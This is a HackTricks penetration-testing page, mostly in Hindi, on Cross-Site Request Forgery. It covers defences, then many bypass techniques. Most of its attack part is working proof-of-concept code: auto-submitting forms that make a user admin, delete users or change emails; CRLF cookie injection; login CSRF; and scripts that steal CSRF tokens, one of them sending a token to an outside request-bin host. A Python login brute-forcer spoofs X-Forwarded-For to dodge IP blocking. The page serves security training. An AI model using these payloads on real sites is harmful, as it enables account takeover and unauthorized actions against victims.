CSRF (Cross Site Request Forgery)

Reading time: 24 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Cross-Site Request Forgery (CSRF) समझाया गया

Cross-Site Request Forgery (CSRF) वेब एप्लिकेशन में पाई जाने वाली एक प्रकार की सुरक्षा कमजोरी है। यह attackers को उपयोगकर्ता के authenticated sessions का फायदा उठाकर अनजान users की ओर से क्रियाएँ करवा देने में सक्षम बनाती है। हमला तब होता है जब कोई user जो विक्टिम प्लेटफ़ॉर्म में लॉगिन है, किसी malicious साइट पर जाता है। वह साइट फिर JavaScript चलाकर, forms सबमिट करके, या images fetch करके victim के account पर requests ट्रिगर कर देती है।

CSRF Attack के लिए आवश्यकताएँ

CSRF vulnerability का फायदा उठाने के लिए कई शर्तें पूरी होनी चाहिए:

  1. एक महत्वपूर्ण क्रिया पहचानें: attacker को ऐसी क्रिया ढूंढनी होगी जिसे exploit किया जा सके, जैसे user का password, email बदलना, या privileges बढ़ाना।
  2. Session Management: user का session केवल cookies या HTTP Basic Authentication header के माध्यम से मैनेज होना चाहिए, क्योंकि अन्य headers इस प्रयोजन के लिए manipulate नहीं किए जा सकते।
  3. अनपेक्षित पैरामीटर का अभाव: request में अनपेक्षित (unpredictable) पैरामीटर नहीं होने चाहिए, क्योंकि वे हमले को रोक सकते हैं।

त्वरित जाँच

आप request को Burp में capture कर सकते हैं और CSRF protections की जाँच कर सकते हैं; ब्राउज़र से टेस्ट करने के लिए आप Copy as fetch पर क्लिक करके request चेक कर सकते हैं:

CSRF से बचाव

CSRF हमलों से बचाव के लिए कई countermeasures लागू किए जा सकते हैं:

  • SameSite cookies: यह attribute ब्राउज़र को cross-site requests के साथ cookies भेजने से रोकता है। More about SameSite cookies.
  • Cross-origin resource sharing: victim साइट की CORS policy हमले की feasibility को प्रभावित कर सकती है, खासकर जब attack के लिए victim साइट के response को पढ़ना आवश्यक हो। Learn about CORS bypass.
  • User Verification: user का password मांगना या captcha हल करवाना user की मंशा की पुष्टि कर सकता है।
  • Checking Referrer or Origin Headers: इन headers को validate करना सुनिश्चित कर सकता है कि requests भरोसेमंद स्रोतों से आ रही हैं। हालाँकि, poorly implemented checks को URLs की सावधानीपूर्वक रचना से बायपास किया जा सकता है, जैसे:
    • Using http://mal.net?orig=http://example.com (URL trusted URL के साथ समाप्त होता है)
    • Using http://example.com.mal.net (URL trusted URL से शुरू होता है)
  • Modifying Parameter Names: POST या GET requests में parameter के नाम बदलने से automated attacks को रोकने में मदद मिल सकती है।
  • CSRF Tokens: प्रत्येक session में एक unique CSRF token शामिल करना और subsequent requests में इस token की आवश्यकता रखना CSRF के जोखिम को काफी हद तक कम कर सकता है। token की प्रभावशीलता को CORS लागू करके और बढ़ाया जा सकता है।

इन defenses को समझना और लागू करना वेब एप्लिकेशन की सुरक्षा और अखंडता बनाए रखने के लिए महत्त्वपूर्ण है।

सुरक्षा उपायों की सामान्य कमियाँ

  • SameSite pitfalls: SameSite=Lax अभी भी top-level cross-site navigations जैसे links और form GETs की अनुमति देता है, इसलिए कई GET-based CSRFs अभी भी संभव रहते हैं। cookie matrix के लिए देखें Hacking with Cookies > SameSite
  • Header checks: जब Origin मौजूद हो तो उसे validate करें; यदि Origin और Referer दोनों отсутств हैं तो fail closed करें। Referer पर substring/regex मैचिंग पर भरोसा न करें क्योंकि यह lookalike domains या crafted URLs से बायपास किया जा सकता है, और meta name="referrer" content="never" suppression trick का भी ध्यान रखें।
  • Method overrides: overridden methods (_method या override headers) को state-changing मानें और CSRF को effective method पर लागू करें, सिर्फ POST पर नहीं।
  • Login flows: login पर भी CSRF protections लागू करें; अन्यथा, login CSRF attacker-controlled accounts में forced re-authentication की अनुमति देता है, जिसे stored XSS के साथ chain किया जा सकता है।

Defences Bypass

From POST to GET (method-conditioned CSRF validation bypass)

कुछ applications सिर्फ POST पर CSRF validation लागू करते हैं और अन्य HTTP verbs के लिए इसे स्किप कर देते हैं। PHP में एक सामान्य anti-pattern कुछ इस तरह दिखता है:

php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

यदि कमजोर endpoint भी $_REQUEST से параметры स्वीकार करता है, तो आप वही action एक GET request के रूप में फिर से भेज सकते हैं और CSRF token को पूरी तरह से छोड़ सकते हैं। यह एक POST-only action को एक ऐसे GET action में बदल देता है जो बिना token के सफल हो जाता है।

Example:

  • Original POST with token (intended):
http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
  • Bypass by switching to GET (no token):
http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Notes:

  • यह पैटर्न अक्सर reflected XSS के साथ दिखाई देता है जहाँ responses गलत तरीके से text/html के रूप में सर्व किये जाते हैं बजाय application/json के।
  • XSS के साथ जोड़ने से exploitation की बाधाएँ बहुत कम हो जाती हैं क्योंकि आप एक single GET लिंक दे सकते हैं जो एक ही बार में vulnerable code path को ट्रिगर कर देता है और CSRF checks को पूरी तरह से बायपास कर देता है।

Token की कमी

Applications token मौजूद होने पर उन्हें validate करने का mechanism लागू कर सकती हैं। हालांकि, एक vulnerability तब उत्पन्न होती है जब token अनुपस्थित होने पर validation पूरी तरह से स्किप कर दी जाती है। Attackers इसका फायदा उठा सकते हैं by removing the parameter जो token ले जाता है, सिर्फ उसके value को हटाने से नहीं। इससे वे validation प्रक्रिया को बायपास करके प्रभावी रूप से Cross-Site Request Forgery (CSRF) attack कर सकते हैं।

अतिरिक्त रूप से, कुछ implementations केवल यह चेक करती हैं कि parameter मौजूद है पर उसकी सामग्री को validate नहीं करतीं, इसलिए एक empty token value is accepted। ऐसे मामलों में, बस csrf= के साथ request भेजना पर्याप्त होता है:

http
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=guest&role=admin&csrf=

न्यूनतम auto-submitting PoC (history.pushState के साथ नेविगेशन छुपाना):

html
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>

CSRF token user session से बंधा नहीं है

Applications not tying CSRF tokens to user sessions एक गंभीर सुरक्षा जोखिम प्रस्तुत करते हैं। ये सिस्टम tokens को एक global pool के खिलाफ verify करते हैं बजाय इसके कि हर token को initiating session से बाँधा गया हो।

यह है कि हमलावर इसका कैसे फायदा उठाते हैं:

  1. अपने स्वयं के खाते का उपयोग करके Authenticate करें।
  2. वैश्विक पूल से वैध CSRF token प्राप्त करें।
  3. इस token का उपयोग करके पीड़ित के खिलाफ CSRF attack करें।

यह vulnerability हमलावरों को पीड़ित की ओर से unauthorized requests भेजने की अनुमति देती है, और application's inadequate token validation mechanism का फायदा उठाती है।

Method bypass

यदि request कोई "weird" method इस्तेमाल कर रहा है, तो चेक करें कि method override functionality काम कर रही है या नहीं। उदाहरण के लिए, अगर यह PUT/DELETE/PATCH method इस्तेमाल कर रहा है तो आप POST का उपयोग करके override भेजने की कोशिश कर सकते हैं, जैसे https://example.com/my/dear/api/val/num?_method=PUT.

यह POST body में _method parameter inside a POST body भेजकर या override headers का उपयोग करके भी काम कर सकता है:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

यह Laravel, Symfony, Express जैसे frameworks में सामान्य है। डेवलपर्स कभी-कभार non-POST verbs पर CSRF को skip कर देते हैं यह मानकर कि ब्राउज़र इन्हें नहीं भेज सकते; पर overrides के साथ आप फिर भी उन handlers तक POST के माध्यम से पहुँच सकते हैं।

उदाहरण अनुरोध और HTML PoC:

http
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&_method=DELETE
html
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>

Custom header token bypass

यदि request अनुरोध में custom header के साथ एक token जोड़ रहा है और यह CSRF protection method के रूप में है, तो:

  • अनुरोध का परीक्षण करें बिना Customized Token and also header.
  • अनुरोध का परीक्षण करें जिसमें बिल्कुल same length but different token हो।

Applications CSRF protection को लागू कर सकते हैं token को दोनों जगह duplicate करके — एक cookie और एक request parameter में — या CSRF cookie सेट करके और यह सत्यापित करके कि backend में भेजा गया token cookie के मान के अनुरूप है। Application requests को validate करता है यह देखकर कि request parameter में मौजूद token cookie के value के साथ मेल खाता है या नहीं।

हालाँकि, यह तरीका CSRF attacks के प्रति कमजोर हो सकता है यदि वेबसाइट में ऐसी कमियाँ हों जो एक attacker को victim के ब्राउज़र में CSRF cookie सेट करने की अनुमति दें, उदाहरण के लिए CRLF vulnerability. attacker इसका फायदा उठा सकता है एक deceptive image लोड करके जो cookie सेट कर दे, और उसके बाद CSRF attack शुरू कर सकता है।

Below is an example of how an attack could be structured:

html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

tip

ध्यान दें कि यदि csrf token session cookie से संबंधित है तो यह attack काम नहीं करेगा क्योंकि आपको victim का session सेट करना होगा, और इसलिए आप स्वयं पर attack कर रहे होंगे।

Content-Type change

According to this, POST method का उपयोग करते हुए preflight requests से बचने के लिए ये अनुमत Content-Type मान हैं:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

हालाँकि, ध्यान दें कि उपयोग किए गए Content-Type के आधार पर server logic भिन्न हो सकती है, इसलिए आपको उल्लिखित मानों के साथ-साथ अन्य जैसे application/json,text/xml, application/xml. आज़माने चाहिए।

Example (from here) of sending JSON data as text/plain:

html
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

JSON Data के लिए Preflight Requests बायपास करना

जब आप POST request के ज़रिए JSON डेटा भेजने की कोशिश करते हैं, तो HTML form में Content-Type: application/json का उपयोग सीधे संभव नहीं है। इसी तरह, इस content type को भेजने के लिए XMLHttpRequest का उपयोग करने पर preflight request शुरू हो जाता है। फिर भी, इस लिमिटेशन को बायपास करने और यह चेक करने के लिए कि सर्वर Content-Type की परवाह किए बिना JSON डेटा को प्रोसेस करता है या नहीं, कुछ तरीके मौजूद हैं:

  1. Use Alternative Content Types: form में enctype="text/plain" सेट करके Content-Type: text/plain या Content-Type: application/x-www-form-urlencoded का उपयोग करें। यह तरीका जाँचता है कि backend Content-Type की परवाह किए बिना डेटा का उपयोग करता है या नहीं।
  2. Modify Content Type: preflight request से बचने और यह सुनिश्चित करने के लिए कि सर्वर कंटेंट को JSON के रूप में पहचान ले, आप डेटा Content-Type: text/plain; application/json के साथ भेज सकते हैं। यह preflight request ट्रिगर नहीं करता पर सर्वर अगर application/json स्वीकार करने के लिए कॉन्फ़िगर है तो इसे सही तरीके से प्रोसेस कर सकता है।
  3. SWF Flash File Utilization: एक कम सामान्य लेकिन मुमकिन तरीका SWF flash file का उपयोग करके इन प्रतिबंधों को बायपास करना है। इस तकनीक की गहराई से समझ के लिए, {this post}(https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) देखें।

Referrer / Origin चेक बायपास

Referrer header से बचें

Applications केवल तब 'Referer' header को validate कर सकती हैं जब यह मौजूद हो। ब्राउज़र द्वारा यह header भेजने से रोकने के लिए, निम्नलिखित HTML meta tag का उपयोग किया जा सकता है:

xml
<meta name="referrer" content="never">

यह सुनिश्चित करता है कि 'Referer' हेडर हटाया जाता है, जिससे कुछ अनुप्रयोगों में वैलिडेशन चेक्स संभावित रूप से बायपास हो सकते हैं।

Regexp bypasses

URL Format Bypass

URL में उस सर्वर का domain name सेट करने के लिए जिसे Referrer पैरामीटरों के अंदर भेजने वाला है, आप यह कर सकते हैं:

html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

HEAD method bypass

पहले भाग में this CTF writeup में बताया गया है कि Oak's source code, एक router इस तरह सेट है कि handle HEAD requests as GET requests with no response body — यह एक सामान्य workaround है जो केवल Oak तक सीमित नहीं है। किसी विशेष handler के बजाय जो HEAD requests को संभाले, उन्हें बस given to the GET handler but the app just removes the response body

Therefore, if a GET request is being limited, you could just send a HEAD request that will be processed as a GET request.

Exploit Examples

Stored CSRF via user-generated HTML

जब rich-text editors या HTML injection की अनुमति हो, आप एक स्थायी passive fetch पर्सिस्ट कर सकते हैं जो एक vulnerable GET endpoint को हिट करता है। कोई भी user जो कंटेंट देखता है वह अपने cookies के साथ स्वतः उस request को कर देगा।

  • अगर app एक global CSRF token इस्तेमाल करता है जो user session से बाउंड नहीं है, तो वही token सभी users पर काम कर सकता है, जिससे stored CSRF पीड़ितों के बीच भरोसेमंद हो जाता है।

Minimal example that changes the viewer’s email when loaded:

html
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">

Login CSRF को stored XSS के साथ जोड़ना

Login CSRF अकेला कम प्रभावी हो सकता है, लेकिन इसे authenticated stored XSS के साथ जोड़ने पर यह शक्तिशाली बन जाता है: पीड़ित को attacker-controlled खाते में authenticate करने के लिए मजबूर करें; उस संदर्भ में, authenticated पेज में मौजूद stored XSS execute होकर tokens चुरा सकता है, session hijack कर सकता है, या privileges escalate कर सकता है।

  • सुनिश्चित करें कि login endpoint CSRF-able है (कोई per-session token या origin check नहीं) और कोई user interaction gates इसे block न करें।
  • forced login के बाद, auto-navigate करके उस पेज पर जाएँ जिसमें attacker की stored XSS payload मौजूद हो।

न्यूनतम login-CSRF PoC:

html
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>

CSRF Token की निकासी

यदि CSRF token को रक्षा के रूप में इस्तेमाल किया जा रहा है, तो आप XSS vulnerability या Dangling Markup vulnerability का दुरुपयोग करके इसे बाहर निकालने की कोशिश कर सकते हैं।

GET का उपयोग HTML tags के साथ

xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

स्वचालित रूप से GET request भेजने के लिए उपयोग किए जा सकने वाले अन्य HTML5 टैग हैं:

html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

फ़ॉर्म GET request

html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

फॉर्म POST अनुरोध

html
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

iframe के माध्यम से फ़ॉर्म POST अनुरोध

html
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ajax POST request

html
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

multipart/form-data POST अनुरोध

javascript
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST request v2

javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

iframe के भीतर Form POST request

html
<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

CSRF Token चुराएँ और एक POST request भेजें

javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

CSRF Token चुराएँ और iframe, form तथा Ajax का उपयोग करके एक Post request भेजें

html
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

CSRF Token चुराएँ और iframe और form का उपयोग करके एक POST अनुरोध भेजें

html
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

token चुराएँ और इसे 2 iframes का उपयोग करके भेजें

html
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF token Ajax के साथ और form से post भेजना

html
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF के साथ Socket.IO

html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

यह कोड CSRF token का उपयोग करके एक लॉगिन फ़ॉर्म पर Brut Force करने के लिए इस्तेमाल किया जा सकता है (यह संभव IP blacklisting को बायपास करने की कोशिश करने के लिए X-Forwarded-For हेडर का भी उपयोग कर रहा है):

python
import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

उपकरण

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें